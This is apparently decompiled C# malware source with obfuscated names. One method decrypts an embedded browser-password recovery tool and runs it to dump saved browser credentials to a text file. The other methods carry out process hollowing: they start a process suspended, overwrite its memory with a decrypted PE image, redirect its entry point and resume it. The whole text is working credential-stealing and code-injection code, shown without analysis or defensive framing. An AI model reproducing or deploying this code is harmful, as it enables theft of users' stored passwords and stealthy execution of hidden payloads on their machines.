// Token: 0x06000050 RID: 80 RVA: 0x00003CE0 File Offset: 0x00002CE0 public string ReadFile() { string result = null; string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Browsers.txt"); try { if (!File.Exists(path)) { Assembly assembly = (Assembly)typeof(Assembly).GetMethod(Strings.StrReverse("ylbmessAgnitucexEteG")).Invoke(null, null); ResourceManager resourceManager = new ResourceManager("Key", assembly); byte[] bytes = Encoding.Unicode.GetBytes("Password"); string executablePath = Application.ExecutablePath; string cmd = "/stext " + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Browsers.txt"); byte[] ƈƖƻƨÔ = (byte[])resourceManager.GetObject("RecoverBrowsers"); Óµ.ØØØØ(executablePath, cmd, Encryption.RSMDecrypt(ƈƖƻƨÔ, bytes), false); while (!File.Exists(path)) { Thread.Sleep(1000); } } result = File.ReadAllText(path); } catch (Exception ex) { } return(result); }
// Token: 0x0600005E RID: 94 RVA: 0x000041DC File Offset: 0x000031DC public static bool ØØØØ(string path, string cmd, byte[] data, bool compatible) { int num = 1; checked { while (!Óµ.ÑÑÑÑÑÑ(path, cmd, data, compatible)) { num++; if (num > 5) { return(false); } } return(true); } }
// Token: 0x0600005F RID: 95 RVA: 0x00004208 File Offset: 0x00003208 private static bool ÑÑÑÑÑÑ(string path, string cmd, byte[] data, bool compatible) { string text = string.Format("\"{0}\"", path); Óµ.ÖÖÖÖÖÖ öööööö = default(Óµ.ÖÖÖÖÖÖ); Óµ.ÄÄÄÄÄÄ ääääää = default(Óµ.ÄÄÄÄÄÄ); checked { öööööö.Size = (uint)Marshal.SizeOf(typeof(Óµ.ÖÖÖÖÖÖ)); try { if (!string.IsNullOrEmpty(cmd)) { text = text + " " + cmd; } if (!Óµ.ñÛÖ(path, text, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref öööööö, ref ääääää)) { throw new Exception(); } int num = BitConverter.ToInt32(data, 60); int num2 = BitConverter.ToInt32(data, num + 52); int[] array = new int[179]; array[0] = 65538; if (IntPtr.Size == 4) { if (!Óµ.Žÿûƒ(ääääää.ThreadHandle, array)) { throw new Exception(); } } else if (!Óµ.ÜÓû(ääääää.ThreadHandle, array)) { throw new Exception(); } int num3 = array[41]; int num4; int num5; if (!Óµ.ÚÖÕæä(ääääää.ProcessHandle, num3 + 8, ref num4, 4, ref num5)) { throw new Exception(); } if (num2 == num4 && Óµ.Ñäæéêë(ääääää.ProcessHandle, num4) != 0) { throw new Exception(); } int length = BitConverter.ToInt32(data, num + 80); int bufferSize = BitConverter.ToInt32(data, num + 84); int num6 = Óµ.ÓÖÒÕÑ(ääääää.ProcessHandle, num2, length, 12288, 64); bool flag; if (!compatible && num6 == 0) { flag = true; num6 = Óµ.ÓÖÒÕÑ(ääääää.ProcessHandle, 0, length, 12288, 64); } if (num6 == 0) { throw new Exception(); } if (!Óµ.ÊÈÚÙØ(ääääää.ProcessHandle, num6, data, bufferSize, ref num5)) { throw new Exception(); } int num7 = num + 248; short num8 = BitConverter.ToInt16(data, num + 6); int num9 = 0; int num10 = (int)(num8 - 1); for (int i = num9; i <= num10; i++) { int num11 = BitConverter.ToInt32(data, num7 + 12); int num12 = BitConverter.ToInt32(data, num7 + 16); int srcOffset = BitConverter.ToInt32(data, num7 + 20); if (num12 != 0) { byte[] array2 = new byte[num12 - 1 + 1]; Buffer.BlockCopy(data, srcOffset, array2, 0, array2.Length); if (!Óµ.ÊÈÚÙØ(ääääää.ProcessHandle, num6 + num11, array2, array2.Length, ref num5)) { throw new Exception(); } } num7 += 40; } byte[] bytes = BitConverter.GetBytes(num6); if (!Óµ.ÊÈÚÙØ(ääääää.ProcessHandle, num3 + 8, bytes, 4, ref num5)) { throw new Exception(); } int num13 = BitConverter.ToInt32(data, num + 40); if (flag) { num6 = num2; } array[44] = num6 + num13; if (IntPtr.Size == 4) { if (!Óµ.ÒÒÒÒÒ(ääääää.ThreadHandle, array)) { throw new Exception(); } } else if (!Óµ.þþþþþþ(ääääää.ThreadHandle, array)) { throw new Exception(); } if (Óµ.ÑÐÑÐÑ(ääääää.ThreadHandle) == -1) { throw new Exception(); } } catch (Exception ex) { Process processById = Process.GetProcessById((int)ääääää.ProcessId); if (processById != null) { processById.Kill(); } return(false); } return(true); } }